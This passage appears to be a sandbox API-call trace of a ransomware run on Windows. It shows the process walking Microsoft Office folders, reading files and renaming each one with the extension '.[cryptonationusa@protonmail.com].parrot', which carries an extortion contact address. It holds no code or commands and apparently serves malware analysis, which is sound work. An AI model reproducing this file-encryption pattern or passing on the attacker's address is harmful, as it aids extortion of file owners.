SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.983] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.984] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.984] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbc4, lpOverlapped=0x0) returned 1 [0156.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.985] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.991] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0156.991] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe9c41a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xe9c41a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.992] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9732b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1098, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="J01437~1.PAR")) returned 1 [0156.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0156.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0156.992] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.992] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe9c41a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xe9c41a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0156.992] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe9c41a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xe9c41a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0156.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0156.993] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.993] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe970c9e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xe970c9e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0156.993] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0156.993] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0156.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0156.995] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0156.995] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.996] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0156.996] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0156.997] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0156.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0156.998] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.998] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0156.999] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.999] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd0aa, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd0aa, lpOverlapped=0x0) returned 1 [0157.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.003] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.017] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.017] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.019] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.019] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11098, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x11098, lpOverlapped=0x0) returned 1 [0157.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.025] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.034] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.034] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.036] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.036] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f427, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x3f427, lpOverlapped=0x0) returned 1 [0157.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.045] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.168] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.168] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.170] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15a56, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x15a56, lpOverlapped=0x0) returned 1 [0157.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.184] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.186] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.186] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x109e5, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x109e5, lpOverlapped=0x0) returned 1 [0157.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.191] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.198] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.198] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.199] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.199] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1763b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1763b, lpOverlapped=0x0) returned 1 [0157.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.216] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.224] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.224] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.226] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.226] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9ff03, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x9ff03, lpOverlapped=0x0) returned 1 [0157.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.252] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.353] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.353] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.354] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.354] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18c11, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x18c11, lpOverlapped=0x0) returned 1 [0157.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.362] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.371] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.371] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.373] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.373] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x105f4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x105f4, lpOverlapped=0x0) returned 1 [0157.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.378] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.386] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.386] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.402] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.402] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ad4d, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x8ad4d, lpOverlapped=0x0) returned 1 [0157.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.425] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 